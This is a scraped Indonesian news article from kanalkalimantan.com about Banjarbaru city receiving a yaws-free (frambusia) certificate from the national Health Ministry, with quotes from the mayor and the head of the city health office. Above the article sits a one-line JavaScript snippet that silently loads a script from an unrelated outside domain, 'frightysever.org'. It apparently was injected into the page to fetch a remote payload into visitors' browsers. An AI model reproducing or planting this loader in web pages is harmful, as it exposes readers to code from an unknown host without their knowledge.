(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mendapatkan penghargaan sebagai Kabupaten Kota Bebas Frambusia dari Kementerian Kesehatan RI. Penghargaan berupa sertifikat dari Menteri Kesehatan, Budi G Sadikin, diterima secara langsung oleh Wali Kota Banjarbaru, HM Aditya Mufti Ariffin, di Jakarta, Selasa (21/2/2023).
Perlu diketahui, frambusia sendiri adalah penyakit atau infeksi kulit yang disebabkan oleh bakteri Treponema Pallindum Pertenue. Infeksi ini biasanya terjadi di wilayah-wilayah tropis sehingga terdapat beberapa bahasa daerah di Indonesia, baik itu patek, puru, buba, pian, parangi, atau ambalo.
Resiko terjangkit penyakit ini menyebabkan cacat penampilan fisik dan gangguan sosialisasi. Kementrian Kesehatan RI menaruh perhatian yang serius terhadap penyakit ini lantaran sifatnya yang menular menahun dan sering kambuh.
Pemko Banjarbaru melalui Dinas Kesehatan beserta jajaran Puskesmas yang tersebar di tiap kelurahan telah berhasil menekan kemunculan penyakit tersebut. Lewat momentum penghargaan ini, apresiasi luar biasa disampaikan Wali Kota Banjarbaru.
“Alhamdulillah, ini berkat upaya yang dilakukan secara sungguh-sungguh oleh Dinkes Kota Banjarbaru dan Puskesmas. Termasuk juga dukungan Dinkes Provinsi Kalsel untuk menuju masyarakat Banjarbaru lebih sehat,” kata Aditya.
Tak cukup sampai di sini saja, Aditya juga memastikan komitmen Pemko Banjarbaru bebas dari penyakit frambusia hingga di tahun-tahun yang akan datang. Untuk itu tegasnya perlu sinergi yang kuat antara pemerintah, Dinas Kesehatan dan lapisan masyarakat.
“Jangan sampai muncul kasus baru, itu komitmen kita. Kebersihan lingkungan dan prilaku hidup bersih yang sehat merupakan faktor penting untuk mencegah penyakit ini. Ini yang harus kita tekankan dan saling mengingatkan antar sesama,” tutur Wali Kota.
Sementara itu, Kepala Dinas Kesehatan Kota Banjarbaru, dr Juhai Triyanti Agustina, menerangkan bahwa daerah penerima Sertifikat Bebas Frambusia merupakan daerah yang sudah melewati beberapa tahapan. Mulai dari membuktikan tidak ditemukan kasus frambusia baru berdasarkan surveilans, rekomendasi di level provinsi hingga assessment time sertifikasi di tingkat pusat.
“Penghargaan Kota Bebas Frambusia ini merupakan penanganan yang serius dari kepala daerah, dalam hal ini bapak Wali Kota Banjarbaru. Melalui kebijakan-kebijakan yang efektif, Alhamdulillah, frambusia tidak ada ditemukan di Banjarbaru,” tuntasnya. (Kanalkalimantan.com/al)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.